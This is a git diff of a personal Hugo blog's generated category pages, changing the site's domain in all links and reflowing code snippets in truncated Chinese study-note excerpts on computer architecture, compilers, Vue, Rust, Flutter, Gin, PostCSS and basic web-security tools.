 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -127,7 +127,7 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://xiaochenabc123.github.io/posts/155/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://chenjunlinabc.github.io/posts/155/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -138,7 +138,7 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
+启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://chenjunlinabc.github.io/posts/152/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>编译原理学习笔记</h2></header><div class=entry-content><p>编译就是翻译，将机器语言翻译成另一个机器语言（例如高级语言翻译成低级语言（例如汇编），低级语言翻译成机器语言（二进制））
 编译让计算机理解高级语言并且执行，编译让计算机更理解人，编译提供了人类新的思考方式
 编译的翻译只能作用于形式语言
 编译器和解释器
@@ -170,17 +170,13 @@
 当识别扫描到a时，会处于标识符状态，直到遇到了==，就会切换到比较运算符状态，然后再识别1，知道该值是数值字面量
 语法分析
 语法分析的过程就是在词法分析的基础上分析程序的语法结构，这个语法结构是树状的，这个树叫抽象语法树（Abstract Syntax Tree，AST），树节点是语法单元，可通过递归下降算法或者自底向上算法来构造该树状
-语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://xiaochenabc123.github.io/posts/148/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
+语法制导翻译</p></div><footer class=entry-footer><span title='2022-05-08 03:00:00 +0000 UTC'>2022-05-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 编译原理学习笔记" href=https://chenjunlinabc.github.io/posts/148/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>vuejs底层原理学习笔记</h2></header><div class=entry-content><p>组件的渲染，更新
 组件的渲染：通过组件的模板创建vnode，渲染vnode，生成DOM
 vue应用的初始化
-import { createApp } from 'vue'
-import App from './app'
-const app = createApp(App)
-app.mount('#app')
-通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
+import { createApp } from 'vue' import App from './app' const app = createApp(App) app.mount('#app') 通过上面例子看到vue将app应用挂载到根组件上（一般是id为app的dom节点），通过createApp()函数，对外暴露vue，createApp()方法主要作用是创建app应用，以及重写mount方法，最后返回app应用
 通过createApp()源码，可以看到createApp()接收一个参数，这个参数也就是app应用（根组件），createApp()创建app应用是通过ensureRenderer()的createApp()创建的
-ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://xiaochenabc123.github.io/posts/147/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+ensureRenderer()用于创建一个惰性渲染器对象（延时创建，这样的好处是当只使用响应式包时，不需要打包渲染器等渲染逻辑相关的代码）</p></div><footer class=entry-footer><span title='2022-04-26 20:00:00 +0000 UTC'>2022-04-26</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to vuejs底层原理学习笔记" href=https://chenjunlinabc.github.io/posts/147/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/categories/\345\255\246\344\271\240/page/3/index.html" "b/categories/\345\255\246\344\271\240/page/3/index.html"
index 55d8af2b..6dad260b 100644
--- "a/categories/\345\255\246\344\271\240/page/3/index.html"
+++ "b/categories/\345\255\246\344\271\240/page/3/index.html"
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>学习 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="学习"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="学习"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/categories/>Categories</a></div><h1>学习</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -32,8 +32,7 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
-echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://xiaochenabc123.github.io/posts/145/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://chenjunlinabc.github.io/posts/145/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Rust学习笔记</h2></header><div class=entry-content><p>Rust由非盈利组织Mozilla基金会开发，像著名的Mozilla Firefox浏览器和MDN Web Docs都出自该基金会
 安装
 官方推荐使用Rustup来安装（Rustup是rust的安装器和版本管理工具）
 通过rustup-init来安装Rust
@@ -58,14 +57,7 @@
 其中Cargo.toml文件是项目的依赖库文件
 通过编辑Cargo.toml文件来添加依赖
 rust依赖可通过https://crates.io/查找
-[package]
-name = "hallo_word"
-version = "0.0.1"
-edition = "2021"
-[dependencies]
-hyper = "0.14.20" # 来自https://crates.io/
-# hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区
-# hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://xiaochenabc123.github.io/posts/142/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
+[package] name = "hallo_word" version = "0.0.1" edition = "2021" [dependencies] hyper = "0.14.20" # 来自https://crates.io/ # hyper = { git = "https://github.com/hyperium/hyper" } # 来自第三方社区 # hyper = { path = "....</p></div><footer class=entry-footer><span title='2022-03-28 13:22:00 +0000 UTC'>2022-03-28</span>&nbsp;·&nbsp;7 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Rust学习笔记" href=https://chenjunlinabc.github.io/posts/142/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Flutter框架学习笔记</h2></header><div class=entry-content><p>Flutter是谷歌开源的跨平台UI框架，可以快速在iOS和Android上构建高质量的原生用户界面，可在Windows，Linux，Android，Web，iOS，Mac等6大平台上开发应用
 闲鱼和Now直播，美团，快手都使用了Flutter
 获取Flutter
 https://storage.flutter-io.cn/flutter_infra_release/releases/stable/windows/flutter_windows_2.10.3-stable.zip
@@ -100,48 +92,21 @@
 运行后可以看到一个title以及内容都为Hallo word的app
 flutter自带了可视化工具，Dart DevTools
 自己写一个main.dart
-void main() => runApp(MyApp());
-class MyApp extends StatelessWidget{
-@override
-Widget build(BuildContext context){
-return MaterialApp(
-title: "hallo word", // app的title
-theme: ThemeData(
-primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://xiaochenabc123.github.io/posts/141/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
+void main() => runApp(MyApp()); class MyApp extends StatelessWidget{ @override Widget build(BuildContext context){ return MaterialApp( title: "hallo word", // app的title theme: ThemeData( primarySwatch: Colors....</p></div><footer class=entry-footer><span title='2022-03-22 12:00:00 +0000 UTC'>2022-03-22</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Flutter框架学习笔记" href=https://chenjunlinabc.github.io/posts/141/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
-import "github.com/gin-gonic/gin"
-import "net/http"
-func main() {
-g := gin.Default()
-g.GET("/", func(c *gin.Context) {
-c.String(http.StatusOK, "hallo word")
-})
-g.Run()
-}
-go run main.go
+package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")
 路由
-r.GET("/test/:name", func(c *gin.Context) {
-name := c.Param("name")
-c.String(http.StatusOK, name)
-})
-g.Run(":6666")
-127.0.0.1:6666/test/xiaochen
+r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET("/test", func(c *gin.Context) {
-name := c.DefaultQuery("name", "test")
-c.String(http.StatusOK, fmt.Sprintf("hallo %s", name))
-})
-r.Run()
-127.0.0.1:6666/test
+r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://chenjunlinabc.github.io/posts/135/></a></article><article class="post-entry tag-entry"><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -151,23 +116,10 @@
 npm install postcss postcss-loader –save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
-module: {
-rules: [
-{
-test: /\.css$/,
-use: ["style-loader", "css-loader", "postcss-loader"]
-}
-]
-}
-};
-postcss.config.js
-module.exports = {
-plugins: [插件1,插件2]
-};
-Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://xiaochenabc123.github.io/posts/129/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/2/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/categories/%E5%AD%A6%E4%B9%A0/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://chenjunlinabc.github.io/posts/129/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/2/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/categories/%E5%AD%A6%E4%B9%A0/page/4/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
